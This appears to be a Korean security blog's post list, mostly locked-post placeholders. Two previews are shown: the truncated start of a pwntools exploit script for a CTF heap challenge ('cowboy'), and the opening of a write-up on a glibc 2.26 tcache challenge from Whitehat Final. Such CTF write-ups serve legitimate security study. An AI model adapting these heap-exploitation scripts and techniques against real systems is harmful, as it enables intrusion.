목록list (398)
y0u_bat
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
라이트업으로 쓸려구 했는데, 기억이 가물해서 그냥 코드만 올립니당 from pwn import * import json context.log_level = 'DEBUG' #s = process("./cowboy",env={"LD_PRELOAD":'./libc.so.6'}) #gdb.attach(s) #a = remote("127.0.0.1",1234) s = remote("cowboy.eatpwnnosleep.com",14697) a = { 'apikey' : 'key', } s.send(json.dumps(a).encode()) print s.recv(4096) def alloc(size): sleep(0.2) s.sendline("1") sleep(0.2) s.recvuntil("2049:") s.s..
Whitehat Final PAC - 500ptglibc 2.26 환경에서 문제를 풀어본 적이 없기 때문에, 문제 풀면서 tcache에 대해 공부된 것 같다. MitigationCANARY,PIE,NX,RELRO가 다 걸린것을 볼 수 있다.제일 중요한것은 glibc가 2.26 version이라는것이다. glibc malloc에 tcache라는것이 생겼다. Problem Introduction간단히 문제를 소개하자면, 스타크래프트 컨셉이다. 종족을 선택하고 각 종족의 유닛을 39개까지 생성했다. 지웠다 할 수 있다. 기존 스타에 있는 치트키 같은것도 히든메뉴로 존재한다.먼저, 유닛을 생성하기 위해 미네랄과 가스가 필요한데, 이부분은 히든메뉴인, 치트키로부터 얻을 수 있다. < CheatKey ..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.